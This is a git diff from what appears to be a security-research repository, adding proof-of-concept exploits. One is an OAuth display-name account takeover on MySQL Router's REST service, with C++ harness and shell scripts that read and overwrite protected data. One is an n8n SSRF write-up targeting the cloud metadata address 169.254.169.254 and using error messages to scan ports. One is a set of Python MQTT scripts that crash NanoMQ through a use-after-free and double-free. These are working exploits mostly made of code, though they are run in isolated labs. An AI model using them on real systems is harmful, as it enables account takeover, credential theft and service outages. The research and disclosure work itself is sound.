mysql_harness::logging { +void log_message(LogLevel, const char *, const char *, va_list) {} +} // namespace mysql_harness::logging + +int main() { + using mrs::UniversalId; + using mrs::users::UserManager; + + UserManager manager{/*limit_to_existing_users=*/true, + /*default_role_id=*/{}, + /*query_factory=*/nullptr}; + + UserManager::AuthUser victim; + victim.has_user_id = true; + victim.user_id = UniversalId{0x11, 0}; + victim.app_id = UniversalId{0x22, 0}; + victim.vendor_user_id = "victim-provider-subject"; + victim.name = "Privileged User"; + victim.email = "victim@example.invalid"; + victim.login_permitted = true; + victim.privileges.resize(1); + victim.privileges[0].crud = 0x0f; + + manager.user_cache_.set(UserManager::UserIndex{victim}, victim); + + UserManager::AuthUser attacker; + attacker.app_id = victim.app_id; + attacker.vendor_user_id = "attacker-provider-subject"; + attacker.name = victim.name; // OAuth display names are attacker-controlled. + attacker.email = "attacker@example.invalid"; + + bool identity_changed = false; + auto *matched = manager.cache_get(&attacker, &identity_changed); + + assert(matched != nullptr); + assert(matched->user_id == victim.user_id); + assert(matched->vendor_user_id == victim.vendor_user_id); + assert(matched->privileges[0].crud == 0x0f); + assert(identity_changed); + + UserManager residency_manager{/*limit_to_existing_users=*/true, + /*default_role_id=*/{}, + /*query_factory=*/nullptr}; + residency_manager.user_cache_.set(UserManager::UserIndex{victim}, victim); + + auto add_distinct_user = [&](uint64_t index) { + UserManager::AuthUser filler; + filler.has_user_id = true; + filler.user_id = + UniversalId{static_cast(index + 1), static_cast(0x7f)}; + filler.app_id = victim.app_id; + filler.vendor_user_id = "filler-" + std::to_string(index); + filler.name = filler.vendor_user_id; + residency_manager.user_cache_.set(UserManager::UserIndex{filler}, filler); + }; + + for (uint64_t index = 0; index < 99; ++index) add_distinct_user(index); + bool ignored = false; + assert(residency_manager.cache_get(&attacker, &ignored) != nullptr); + + add_distinct_user(99); + assert(residency_manager.cache_get(&attacker, &ignored) == nullptr); + + std::cout << "attacker_subject=" << attacker.vendor_user_id << '\n' + << "matched_victim_id=" << matched->user_id.to_string() << '\n' + << "matched_by_display_name=" << matched->name << '\n' + << "victim_crud_mask=" << matched->privileges[0].crud << '\n' + << "identity_update_path=" << (identity_changed ? "yes" : "no") + << '\n'; + std::cout << "cache_capacity=100\n" + << "victim_present_after_99_distinct_users=yes\n" + << "victim_present_after_100_distinct_users=no\n"; +} diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.sh b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.sh new file mode 100644 index 0000000..d9e2cf3 --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision.sh @@ -0,0 +1,50 @@ +#!/usr/bin/env bash +set -euo pipefail + +# Run from WSL. This compiles the focused harness together with the production +# UserManager implementation. Tiny stubs replace CMake-generated headers only. + +SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) +RESEARCH_ROOT=$(cd -- "$SCRIPT_DIR/.." && pwd) +SERVER="$RESEARCH_ROOT/mysql-server" +TMP=$(mktemp -d) +trap 'rm -rf "$TMP"' EXIT + +mkdir -p "$TMP/include/mysqlrouter" +cat >"$TMP/include/mysqlrouter/router_mysql_export.h" <<'EOF' +#pragma once +#define ROUTER_MYSQL_EXPORT +EOF +cat >"$TMP/include/harness_export.h" <<'EOF' +#pragma once +#define HARNESS_EXPORT +EOF +cat >"$TMP/include/my_config.h" <<'EOF' +#pragma once +#define HAVE_SYS_TYPES_H 1 +#define HAVE_UNISTD_H 1 +EOF +cat >"$TMP/include/mysql_version.h" <<'EOF' +#pragma once +#define MYSQL_SERVER_VERSION "9.7.0" +#define MYSQL_BASE_VERSION "9.7" +#define MYSQL_VERSION_ID 90700 +#define MYSQL_PORT 3306 +#define MYSQL_UNIX_ADDR "/tmp/mysql.sock" +EOF + +g++ -std=c++20 -O0 -DRAPIDJSON_NO_SIZETYPEDEFINE \ + -ffunction-sections -fdata-sections \ + -I"$TMP/include" \ + -I"$SERVER/extra/rapidjson/include" \ + -I"$SERVER/router/src/mysql_rest_service/src" \ + -I"$SERVER/router/src/mysql_rest_service/include" \ + -I"$SERVER/router/src/harness/include" \ + -I"$SERVER/router/src/http/include" \ + -I"$SERVER/router/src/router/include" \ + -I"$SERVER/include" \ + "$SCRIPT_DIR/mrs_oauth_cached_name_collision.cc" \ + "$SERVER/router/src/mysql_rest_service/src/mrs/users/user_manager.cc" \ + -Wl,--gc-sections -o "$TMP/mrs_oauth_cached_name_collision" + +"$TMP/mrs_oauth_cached_name_collision" diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision_e2e.sh b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision_e2e.sh new file mode 100644 index 0000000..7eef4fb --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_cached_name_collision_e2e.sh @@ -0,0 +1,159 @@ +#!/usr/bin/env bash +set -euo pipefail + +# Isolated end-to-end reproduction for MySQL Router 9.7.1 MRS. +# Override these paths when the official generic Linux archives are elsewhere. +ROUTER_HOME=${ROUTER_HOME:-/mnt/c/tmp/mysql-router-9.7.1-linux-glibc2.28-x86_64} +SHELL_HOME=${SHELL_HOME:-/mnt/c/tmp/mysql-shell-9.7.1-linux-glibc2.28-x86-64bit} +SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) + +MYSQL_CONTAINER=mysql-mrs-oauth-poc +DOCKER_NETWORK=mysql-mrs-oauth-poc +ROUTER_DIR=/tmp/mysql-mrs-oauth-router-poc +MYSQL_URI=root:labroot@127.0.0.1:13306 +BASE_URL=https://127.0.0.1:8443/lab +ROUTER_PID= +OIDC_PID= + +stop_router() { + [[ -n "$ROUTER_PID" ]] || return + kill "$ROUTER_PID" 2>/dev/null || true + for _ in $(seq 1 10); do + if ! kill -0 "$ROUTER_PID" 2>/dev/null; then + wait "$ROUTER_PID" 2>/dev/null || true + ROUTER_PID= + return + fi + sleep 0.2 + done + kill -9 "$ROUTER_PID" 2>/dev/null || true + wait "$ROUTER_PID" 2>/dev/null || true + ROUTER_PID= +} + +cleanup() { + stop_router + if [[ -n "$OIDC_PID" ]]; then kill "$OIDC_PID" 2>/dev/null || true; fi + docker rm -f "$MYSQL_CONTAINER" >/dev/null 2>&1 || true + docker network rm "$DOCKER_NETWORK" >/dev/null 2>&1 || true + rm -rf "$ROUTER_DIR" /tmp/mrs-oauth-poc +} +trap cleanup EXIT + +for binary in \ + "$ROUTER_HOME/bin/mysqlrouter" \ + "$ROUTER_HOME/bin/mysqlrouter_bootstrap" \ + "$SHELL_HOME/bin/mysqlsh"; do + [[ -x "$binary" ]] || { echo "Missing executable: $binary" >&2; exit 1; } +done + +mkdir -p /tmp/mrs-oauth-poc +docker rm -f "$MYSQL_CONTAINER" >/dev/null 2>&1 || true +docker network rm "$DOCKER_NETWORK" >/dev/null 2>&1 || true +docker network create --subnet 172.29.20.0/24 "$DOCKER_NETWORK" >/dev/null + +docker run -d --name "$MYSQL_CONTAINER" --network "$DOCKER_NETWORK" \ + --ip 172.29.20.10 -p 127.0.0.1:13306:3306 \ + -e MYSQL_ROOT_PASSWORD=labroot mysql:9.7 \ + --server-id=301 --log-bin=mysql-bin --gtid-mode=ON \ + --enforce-gtid-consistency=ON >/dev/null + +for _ in $(seq 1 60); do + if docker exec "$MYSQL_CONTAINER" mysqladmin ping -h127.0.0.1 \ + -uroot -plabroot --silent >/dev/null 2>&1; then + break + fi + sleep 1 +done +docker exec "$MYSQL_CONTAINER" mysqladmin ping -h127.0.0.1 \ + -uroot -plabroot --silent + +"$SHELL_HOME/bin/mysqlsh" --py --uri "$MYSQL_URI" \ + --file "$SCRIPT_DIR/mrs_oauth_e2e_setup.py" + +rm -rf "$ROUTER_DIR" +"$ROUTER_HOME/bin/mysqlrouter_bootstrap" "$MYSQL_URI" --mrs \ + --directory "$ROUTER_DIR" --name mrs-oauth-poc \ + --report-host 127.0.0.1 --mrs-global-secret lab-jwt-secret-1234 \ + --mrs-mysql-metadata-account mrs_meta \ + --mrs-mysql-data-account mrs_data /tmp/mrs-oauth-poc/fake-oidc.log 2>&1 & +OIDC_PID=$! + +start_router() { + "$ROUTER_HOME/bin/mysqlrouter" -c "$ROUTER_DIR/mysqlrouter.conf" \ + >/tmp/mrs-oauth-poc/router.stdout 2>&1 & + ROUTER_PID=$! + for _ in $(seq 1 20); do + if curl -kfsS --max-time 2 "$BASE_URL/authentication/authApps" \ + >/dev/null 2>&1; then + return + fi + sleep 1 + done + echo "Router did not become ready" >&2 + cat /tmp/mrs-oauth-poc/router.stdout >&2 + cat "$ROUTER_DIR/log/mysqlrouter.log" >&2 + exit 1 +} + +login() { + local code=$1 cookie_file=$2 + curl -ksS -D "/tmp/mrs-oauth-poc/${code}-login.headers" -o /dev/null \ + -c "$cookie_file" \ + "$BASE_URL/authentication/login?authApp=FakeOCI&code=${code}&state=first" + if ! grep -q "login=success" "/tmp/mrs-oauth-poc/${code}-login.headers"; then + cat "/tmp/mrs-oauth-poc/${code}-login.headers" >&2 + cat "$ROUTER_DIR/log/mysqlrouter.log" >&2 + return 1 + fi +} + +start_router + +# Normal privileged login seeds the production OAuth handler cache. +login victim /tmp/mrs-oauth-poc/victim.cookies + +# With registration limiting enabled, an unrelated unregistered identity fails. +curl -ksS -D /tmp/mrs-oauth-poc/control-login.headers -o /dev/null \ + "$BASE_URL/authentication/login?authApp=FakeOCI&code=control&state=first" +grep -q "login=fail" /tmp/mrs-oauth-poc/control-login.headers + +# The attacker has a distinct subject and email but copies the cached name. +login attacker /tmp/mrs-oauth-poc/attacker.cookies +curl -ksS -b /tmp/mrs-oauth-poc/attacker.cookies \ + "$BASE_URL/authentication/user" >/tmp/mrs-oauth-poc/attacker-user.json +ATTACKER_READ_STATUS=$(curl -ksS -o /tmp/mrs-oauth-poc/attacker-read.json \ + -w '%{http_code}' -b /tmp/mrs-oauth-poc/attacker.cookies \ + "$BASE_URL/data/secrets") +[[ "$ATTACKER_READ_STATUS" == 200 ]] + +ATTACKER_WRITE_STATUS=$(curl -ksS -o /tmp/mrs-oauth-poc/attacker-write.json \ + -w '%{http_code}' -b /tmp/mrs-oauth-poc/attacker.cookies \ + -H 'Content-Type: application/json' -X PUT \ + -d '{"id":1,"marker":"attacker-updated-through-stolen-role"}' \ + "$BASE_URL/data/secrets/1") +[[ "$ATTACKER_WRITE_STATUS" == 200 ]] + +# Clear Router's in-memory cache. The metadata rebind must survive. +stop_router +start_router +login attacker /tmp/mrs-oauth-poc/attacker-restart.cookies +PERSIST_STATUS=$(curl -ksS -o /tmp/mrs-oauth-poc/attacker-restart.json \ + -w '%{http_code}' -b /tmp/mrs-oauth-poc/attacker-restart.cookies \ + "$BASE_URL/data/secrets") +[[ "$PERSIST_STATUS" == 200 ]] + +printf '%s\n' '--- nonregistered control ---' 'login=fail' +printf '%s\n' '--- attacker session identity ---' +cat /tmp/mrs-oauth-poc/attacker-user.json +printf '\n%s\n' '--- attacker protected read ---' +cat /tmp/mrs-oauth-poc/attacker-read.json +printf '\n%s\n' '--- attacker protected update ---' +cat /tmp/mrs-oauth-poc/attacker-write.json +printf '\n%s\n' '--- persistent database state ---' +"$SHELL_HOME/bin/mysqlsh" --py --uri "$MYSQL_URI" \ + --file "$SCRIPT_DIR/mrs_oauth_e2e_verify.py" +printf '%s\n' "post-restart protected read HTTP $PERSIST_STATUS" diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_setup.py b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_setup.py new file mode 100644 index 0000000..615f39d --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_setup.py @@ -0,0 +1,96 @@ +# Run with MySQL Shell 9.7.1 in Python mode against the isolated lab server. +shell.options.useWizards = False + +mrs.configure(session, True, "{}", True) + +session.run_sql("DROP DATABASE IF EXISTS lab_data") +session.run_sql("CREATE DATABASE lab_data") +session.run_sql( + "CREATE TABLE lab_data.secrets(" + "id INT PRIMARY KEY, marker VARCHAR(128) NOT NULL)" +) +session.run_sql( + "INSERT INTO lab_data.secrets VALUES (1, 'victim-role-secret')" +) + +service = mrs.add.service( + url_context_root="/lab", + url_host_name="", + url_protocol=["HTTPS"], + enabled=True, + published=True, + name="Collision Lab", + session=session, +) + +no_access = mrs.add.role( + "Authenticated User", + specific_to_service_id=service["id"], + description="No protected-object privileges", + session=session, +) +secret_operator = mrs.add.role( + "Secret Operator", + specific_to_service_id=service["id"], + description="Can read and update the protected lab table", + session=session, +) + +auth_app = mrs.add.authentication_app( + "FakeOCI", + service["id"], + auth_vendor_id="0x35000000000000000000000000000000", + description="Local isolated OIDC provider", + url="http://127.0.0.1:18080", + access_token="lab-client-secret", + app_id="lab-client-id", + limit_to_registered_users=True, + default_role_id=no_access["id"], + enabled=1, + session=session, +) + +mrs.add.schema( + service_id=service["id"], + schema_name="lab_data", + request_path="/data", + requires_auth=True, + enabled=1, + session=session, +) + +mrs.run.script( + """CREATE REST VIEW /secrets +ON SERVICE /lab SCHEMA /data +AS `lab_data`.`secrets` @UPDATE { + id: id @SORTABLE, + marker: marker +} +AUTHENTICATION REQUIRED +FORMAT FEED;""", + session=session, +) + +mrs.add.role_privilege( + role_id=secret_operator["id"], + operations=["READ", "UPDATE"], + service_path="/lab", + schema_path="/data", + object_path="/secrets", + session=session, +) + +victim = mrs.add.user( + auth_app_id=auth_app["auth_app_id"], + name="Privileged User", + email="victim@example.invalid", + vendor_user_id="victim-provider-subject", + login_permitted=True, + user_roles=[{"role_id": secret_operator["id"]}], + session=session, +) + +print(f"service_id={service['id']}") +print(f"auth_app_id={auth_app['auth_app_id']}") +print(f"victim_id={victim['id']}") +print(f"privileged_role_id={secret_operator['id']}") diff --git a/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_verify.py b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_verify.py new file mode 100644 index 0000000..2f29cf3 --- /dev/null +++ b/mysql-router-mrs-oauth-cached-name-ato-poc/poc/mrs_oauth_e2e_verify.py @@ -0,0 +1,10 @@ +rows = session.run_sql( + "SELECT HEX(id), vendor_user_id, name, email, login_permitted " + "FROM mysql_rest_service_metadata.mrs_user " + "WHERE auth_app_id=(SELECT id FROM mysql_rest_service_metadata.auth_app " + "WHERE name='FakeOCI') ORDER BY name" +).fetch_all() +for row in rows: + print(row) + +print(session.run_sql("SELECT id, marker FROM lab_data.secrets").fetch_one()) diff --git a/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md b/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md new file mode 100644 index 0000000..2517e5d --- /dev/null +++ b/n8n-ssrf-via-oauth2/ssrf-via-oauth2-n8n.md @@ -0,0 +1,99 @@ +# Authenticated SSRF via OAuth2 Dynamic Client Registration discovery + +**Target:** n8n (self-hosted + n8n Cloud), reviewed against `master` as of 2026-04-19 +**Program:** n8n +**Component:** `OauthService.generateAOauth2AuthUri` → `discoverProtectedResourceMetadata` +**Type:** Server-Side Request Forgery (CWE-918) +**Auth required:** Yes — any authenticated user (member role suffices; credential creation is available to all users by default) +**Affects default install:** Yes — uses the stock `OAuth2Api` generic credential type shipped in `nodes-base` + +--- + +## Summary + +The generic **OAuth2 API** credential allows any authenticated user to enable Dynamic Client Registration and supply an arbitrary `serverUrl`. When generating an OAuth2 auth URL, the backend follows a discovery flow (RFC 9728 / RFC 8414 / OIDC) and performs multiple `axios` requests to URLs derived directly from this user-controlled value. + +Validation only checks that the URL uses `http` or `https`, with no restrictions on IP ranges, DNS resolution, redirects, or timeouts. As a result, an authenticated user can force the server to make arbitrary HTTP(S) requests to any reachable target. + +This enables access to sensitive internal resources, including cloud metadata services (e.g. IMDS), internal admin panels and databases, co-tenant services within the same network, and local or link-local addresses. On n8n Cloud, this is especially impactful since even a free tenant can trigger requests from the server’s internal network context. + +--- + +## Affected versions + +Confirmed affected from `n8n@1.119.0` onward, including `1.123.1`, `2.0.2`, `2.1.0`, `2.7.4`, `2.12.2`, and `master` as reviewed on 2026-04-19. Version `1.118.0` does not appear to expose the Dynamic Client Registration fields required for this specific attack path, so `1.119.0` is the earliest confirmed affected release. + +--- + +## Trigger endpoint + +`GET /rest/oauth2-credential/auth?id=` — authenticated. The controller is `OAuth2CredentialController.getAuthUri` and the request only needs `credential:read` on the target credential, which is automatic for a credential the calling user created. + +--- + +## Proof of concept + +1. Create an **OAuth2 API** credential (any authenticated user): + - Use Dynamic Client Registration: true + - Server URL: `http://169.254.169.254/` (or any internal target) + +2. Trigger: + + ``` + GET /rest/oauth2-credential/auth?id= + ``` + +3. The n8n server issues, in order: + - `GET http://169.254.169.254/.well-known/oauth-protected-resource` + - (on 4xx/5xx, fall-through) Step 2 treats `serverUrl` as the authorization server and issues: + - `GET http://169.254.169.254/.well-known/oauth-authorization-server` + - `GET http://169.254.169.254/.well-known/openid-configuration` + +4. On failure, the response includes: + + ``` + Failed to discover OAuth2 authorization server metadata. Tried: + http://169.254.169.254/.well-known/oauth-authorization-server, + http://169.254.169.254/.well-known/openid-configuration. + Last error: + ``` + + `` is `lastError?.message` from the axios exception, which on Node.js includes e.g. `connect ECONNREFUSED 169.254.169.254:80`, `getaddrinfo ENOTFOUND `, `Request failed with status code 404`, TLS handshake failures, etc. This turns the SSRF into a confirmable host/port scanner: the attacker can distinguish reachable-open, reachable-closed, and unresolvable destinations by the error string returned in the HTTP response to them. + + +### Variants + +- **Response echo:** If an internal endpoint returns JSON, parsing errors (e.g. Zod issues) may leak field names. If valid, a `POST` is sent to an attacker-influenced `registration_endpoint`. +- **Plain HTTP allowed:** `http://` is accepted, enabling access to metadata services and internal control planes. +- **DNS rebinding:** No hostname resolution checks, allowing resolution to internal IPs at request time. +- **No timeout:** Requests can be stalled to increase resource usage or obscure scanning. + +--- + +## Impact + +1. **Cloud metadata exfiltration / credential theft.** If IMDSv1 or similar metadata services are reachable, an attacker can retrieve instance credentials via the SSRF error oracle or by hitting JSON-returning internal endpoints. + +2. **Internal port scanning / service discovery.** The returned axios error messages allow reliable differentiation between open, closed, and filtered ports, enabling internal network scanning from a low-privileged account. + +3. **Cross-tenant reach (n8n Cloud).** Requests originate from the n8n server, not the tenant, allowing access to internal VPC services and bypassing tenant-level isolation controls. + +4. **No CSRF bypass required.** The attacker is authenticated and triggers the flow directly, so the issue stems purely from trusted server-side requests to user-controlled URLs. + +5. **Unauthenticated internal write primitive.** If discovery succeeds, a `POST` is sent to a `registration_endpoint` with predictable JSON, which can act as a write primitive against internal services that accept unauthenticated JSON requests. +--- + +## Severity + +- **CVSS 4.0:** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L` → **8.0 (High)** — scope-changed because the SSRF crosses from the tenant boundary into the n8n server's network namespace. +- CWE-918: Server-Side Request Forgery. +- OWASP: A10:2021 – Server-Side Request Forgery. + +Amplifiers: + +- Requires only a free/member account (trivially obtained on n8n Cloud). +- Exploits the stock generic OAuth2 credential — no third-party node, no enterprise feature. +- Error-channel oracle is reliable enough to enumerate without blind guessing. +- No rate limiting on the `/oauth2-credential/auth` endpoint beyond the global REST limiter. + +--- diff --git a/nanomq-rule-republish-cjson-uaf-poc/README.md b/nanomq-rule-republish-cjson-uaf-poc/README.md new file mode 100644 index 0000000..997d26f --- /dev/null +++ b/nanomq-rule-republish-cjson-uaf-poc/README.md @@ -0,0 +1,125 @@ +# NanoMQ Rule Republish cJSON Use-After-Free / Double-Free + +Heap use-after-free and double-free in NanoMQ 0.25.6 when the optional rule engine republishes a JSON-selected field. A remote unauthenticated publisher (in an anonymous-publish config) can repeatedly crash the broker with two MQTT messages. + +ASan-confirmed UAF in 5/5 runs. Unsanitized release broker terminated in 5/5 runs (glibc `double free detected in tcache 2`). + +## CVSS + +7.5 (High) for affected deployments - `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` + +This only applies when the rule engine is built and configured. The rule engine is disabled by default. + +## Requirements + +All three of these must be true: + +1. NanoMQ is built with `ENABLE_RULE_ENGINE=ON` (not the default). +2. An admin has configured a republish rule that selects an object-valued JSON subfield (like `SELECT payload.x as y FROM "a"`). +3. The attacker can publish to the rule's source topic. + +If anonymous publishing is allowed (the tested config), no credentials are needed. If auth is required, the attacker needs publish permission on that topic. + +## Root Cause + +The rule engine stores a `cJSON*` pointer in persistent rule state (`rule_payload.value`) when it processes a matching publication. When the republish path builds its output JSON, it passes this stored pointer directly to `cJSON_AddItemToObject()`, which takes ownership of the node. Then it deletes the output object, which recursively frees the attached child. But the persistent `rule_payload.value` still points to the freed allocation. + +The trigger is a two-message sequence: + +1. Publish `{"x":{}}` to topic `a`. The rule engine duplicates `payload.x` (an object) into `rule_payload.value`. The republish path attaches it to the output, prints `{"y":{}}`, then deletes the output, freeing the stored node. + +2. Publish `{"x":[]}` to topic `a`. Arrays hit the default case in `payload_filter()` and do not update `rule_payload.value` or `rule_payload.type`. But because there is no WHERE clause, the filter forces the result to true anyway. The republish path reads the freed node's `type` field, tries to attach it to a new output object, and on the next cleanup can free it again. + +The specific source locations: + +- `pub_handler.c:262` -- `cJSON_Duplicate()` allocates into persistent state +- `pub_handler.c:639` -- `cJSON_AddItemToObject()` transfers ownership to temporary output +- `pub_handler.c:1298` -- `cJSON_Delete(jso)` frees the child through the output parent +- `cJSON.c:1951` -- stale read of freed node's `type` on the next publication + +## Files + +``` +. +|-- README.md +|-- nanomq-rule-uaf-trigger.py single-pair trigger (ASan reproduction) +|-- nanomq-rule-uaf-stress.py repeated-pair stress test (release reproduction) +`-- nanomq-rule-uaf.conf broker config with the vulnerable republish rule +``` + +## Reproduction + +Tested on Ubuntu 24.04 x86-64, NanoMQ 0.25.6 (commit `926179ec`), Clang 18. + +### Build NanoMQ with rule engine + +```bash +git clone https://github.com/nanomq/nanomq.git +cd nanomq && git checkout v0.25.6 && git submodule update --init --recursive +mkdir build && cd build +``` + +For ASan: +```bash +cmake .. -G Ninja -DCMAKE_C_COMPILER=clang \ + -DCMAKE_BUILD_TYPE=RelWithDebInfo \ + -DCMAKE_C_FLAGS="-fsanitize=address,undefined" \ + -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \ + -DENABLE_RULE_ENGINE=ON -DBUILD_CLIENT=OFF +ninja nanomq +``` + +For release (to see the glibc double-free abort): +```bash +cmake .. -G Ninja -DCMAKE_C_COMPILER=clang \ + -DCMAKE_BUILD_TYPE=Release \ + -DENABLE_RULE_ENGINE=ON -DBUILD_CLIENT=OFF +ninja nanomq +``` + +### Run the ASan trigger + +Terminal 1: +```bash +ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:allocator_may_return_null=1 \ + ./nanomq/nanomq start --conf /path/to/nanomq-rule-uaf.conf +``` + +Terminal 2: +```bash +python3 nanomq-rule-uaf-trigger.py --host 127.0.0.1 --port 28886 +``` + +After the first publication, the observer receives `{"y":{}}` on topic `out`. After the second publication, ASan reports: + +``` +AddressSanitizer: heap-use-after-free +READ of size 4 +add_item_to_object, cJSON.c:1951 +``` + +24 bytes into a freed 64-byte cJSON allocation. + +### Run the release stress test + +Same setup but with the release build. The stress script sends repeated object-then-array pairs until the broker dies: + +```bash +python3 nanomq-rule-uaf-stress.py --host 127.0.0.1 --port 28886 --limit 1000 +``` + +The broker typically survives 1-5 pairs before glibc catches the double free and kills the process. Output: + +``` +free(): double free detected in tcache 2 +``` + +## Limitations + +- Availability impact only. No RCE, no information leak, no integrity impact. +- The rule engine is not built or enabled by default. An admin has to set it up. +- Only object-valued JSON fields trigger this. Simple values (strings, numbers) go through a different code path that does not hit the ownership bug. + +## Fix + +Do not share ownership between persistent rule state and temporary output trees. Either deep-copy the selected value before attaching it to the output object, or restructure rule evaluation so selected values are per-message temporaries that get freed with the current publication, not stored in the rule definition across messages. diff --git a/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-stress.py b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-stress.py new file mode 100644 index 0000000..74d5165 --- /dev/null +++ b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-stress.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +import argparse +import importlib.util +from pathlib import Path + + +def load_trigger_module(): + path = Path(__file__).with_name("nanomq-rule-uaf-trigger.py") + spec = importlib.util.spec_from_file_location("nanomq_rule_uaf_trigger", path) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--port", type=int, default=28886) + parser.add_argument("--limit", type=int, default=1000) + parser.add_argument("--label", default="release-stress") + args = parser.parse_args() + + trigger = load_trigger_module() + subscriber, _ = trigger.connect_client(args.host, args.port, f"{args.label}-observer") + subscriber.sendall(trigger.subscribe("out", 9)) + trigger.recv_packet(subscriber) + publisher, _ = trigger.connect_client(args.host, args.port, f"{args.label}-publisher") + first = trigger.publish("a", b'{"x":{}}') + second = trigger.publish("a", b'{"x":[]}') + + completed = 0 + error = None + for _ in range(args.limit): + try: + publisher.sendall(first) + trigger.recv_packet(subscriber) + publisher.sendall(second) + trigger.recv_packet(subscriber) + completed += 1 + except Exception as exc: + error = f"{type(exc).__name__}: {exc}" + break + + publisher.close() + subscriber.close() + print({"completed_pairs": completed, "error": error}) + return 0 if error else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-trigger.py b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-trigger.py new file mode 100644 index 0000000..db84e63 --- /dev/null +++ b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf-trigger.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python3 +import argparse +import socket +import time + + +def varint(value): + out = bytearray() + while True: + byte = value % 128 + value //= 128 + if value: + byte |= 0x80 + out.append(byte) + if not value: + return bytes(out) + + +def packet(header, body): + return bytes([header]) + varint(len(body)) + body + + +def mqtt_connect(client_id): + cid = client_id.encode() + body = b"\x00\x04MQTT\x04\x02\x00\x3c" + len(cid).to_bytes(2, "big") + cid + return packet(0x10, body) + + +def publish(topic, payload): + topic_bytes = topic.encode() + return packet(0x30, len(topic_bytes).to_bytes(2, "big") + topic_bytes + payload) + + +def subscribe(topic, packet_id=1): + topic_bytes = topic.encode() + body = packet_id.to_bytes(2, "big") + len(topic_bytes).to_bytes(2, "big") + topic_bytes + b"\x00" + return packet(0x82, body) + + +def recv_packet(sock): + first = sock.recv(1) + if not first: + raise EOFError("peer closed") + multiplier = 1 + length = 0 + while True: + byte = sock.recv(1) + if not byte: + raise EOFError("truncated remaining length") + value = byte[0] + length += (value & 0x7f) * multiplier + if not value & 0x80: + break + multiplier *= 128 + body = bytearray() + while len(body) < length: + chunk = sock.recv(length - len(body)) + if not chunk: + raise EOFError("truncated packet body") + body.extend(chunk) + return first + varint(length) + bytes(body) + + +def connect_client(host, port, client_id): + sock = socket.create_connection((host, port), timeout=3) + sock.settimeout(3) + sock.sendall(mqtt_connect(client_id)) + connack = recv_packet(sock) + if connack[:2] != b"\x20\x02" or connack[-1] != 0: + raise RuntimeError(f"CONNECT failed: {connack.hex()}") + return sock, connack + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--port", type=int, default=28886) + parser.add_argument("--groom", type=int, default=0, help="63-byte non-rule publishes between trigger messages") + parser.add_argument("--first-payload", default='{"x":{}}') + parser.add_argument("--second-payload", default='{"x":[]}') + parser.add_argument("--first-only", action="store_true") + args = parser.parse_args() + + subscriber, sub_connack = connect_client(args.host, args.port, "rule-observer") + subscriber.sendall(subscribe("out")) + suback = recv_packet(subscriber) + + publisher, pub_connack = connect_client(args.host, args.port, "rule-trigger") + first = publish("a", args.first_payload.encode()) + second = publish("a", args.second_payload.encode()) + publisher.sendall(first) + first_output = recv_packet(subscriber) + + groom = publish("b", b"G" * 63) + for _ in range(args.groom): + publisher.sendall(groom) + if args.first_only: + second_output = "not sent" + else: + publisher.sendall(second) + time.sleep(0.5) + try: + second_output = recv_packet(subscriber).hex() + except (OSError, EOFError) as exc: + second_output = f"{type(exc).__name__}: {exc}" + print({ + "sub_connack": sub_connack.hex(), + "suback": suback.hex(), + "pub_connack": pub_connack.hex(), + "first_publish": first.hex(), + "first_output": first_output.hex(), + "groom_count": args.groom, + "groom_packet": groom.hex() if args.groom else "", + "second_publish": second.hex(), + "second_output": second_output, + }) + publisher.close() + subscriber.close() + + +if __name__ == "__main__": + main() diff --git a/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf.conf b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf.conf new file mode 100644 index 0000000..5a7d7d9 --- /dev/null +++ b/nanomq-rule-republish-cjson-uaf-poc/nanomq-rule-uaf.conf @@ -0,0 +1,39 @@ +mqtt { + property_size = 32 + max_topic_alias = 1024 + max_packet_size = 10MB + max_mqueue_len = 2048 + retry_interval = 10s + keepalive_multiplier = 1.25 +} + +listeners.tcp { + bind = "127.0.0.1:28886" +} + +log { + to = [console] + level = debug +} + +auth { + allow_anonymous = true + no_match = allow + deny_action = ignore +} + +rules.repub { + rules = [ + { + server = "mqtt-tcp://127.0.0.1:28886" + topic = "out" + proto_ver = 4 + clientid = "rule-republisher" + keepalive = 60s + clean_start = true + username = "u" + password = "p" + sql = "SELECT payload.x as y FROM \"a\"" + } + ] +} diff --git 